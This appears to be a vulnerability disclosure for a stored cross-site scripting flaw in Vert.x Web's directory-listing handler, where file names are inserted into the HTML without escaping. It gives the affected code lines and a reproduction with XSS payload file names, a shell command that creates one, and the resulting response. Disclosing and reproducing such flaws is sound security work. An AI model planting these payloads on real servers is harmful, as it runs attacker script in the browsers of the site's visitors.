Description

• In the StaticHandlerImpl#sendDirectoryListing(...) method under the text/html branch, file and directory names are directly embedded into the href, title, and link text without proper HTML escaping.
• As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
• Affected Code:
  • File: vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java
  • Lines:
    • 709–713: normalizedDir is constructed without escaping
    • 714–731: <li><a ...> elements insert file names directly into attributes and body without escaping
    • 744: parent directory name construction
    • 746–751: {directory}, {parent}, and {files} are inserted into the HTML template without escaping

Reproduction Steps

1. Prerequisites:

   • Directory listing is enabled using StaticHandler
     (e.g., StaticHandler.create("public").setDirectoryListing(true))
   • The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)

2. Create a malicious file name (example for Unix-based OS):

   • Create an empty file in public/ with one of the following names:
     • <img src=x onerror=alert('XSS')>.txt
     • Or attribute injection: evil" onmouseover="alert('XSS')".txt
   • Example:

     mkdir -p public
     printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
     

3. Start the server (example):

   • Routing: router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true));
   • Server: vertx.createHttpServer().requestHandler(router).listen(8890);

4. Verification request (raw HTTP):

   GET /public/ HTTP/1.1
   Host: 127.0.0.1:8890
   Accept: text/html
   Connection: close
   

5. Example response excerpt:

   <ul id="files">
     <li>
       <a href="/public/<img src=x onerror=alert('XSS')>.txt"
          title="<img src=x onerror=alert('XSS')>.txt">
          <img src=x onerror=alert('XSS')>.txt
       </a>
     </li>
     ...
   </ul>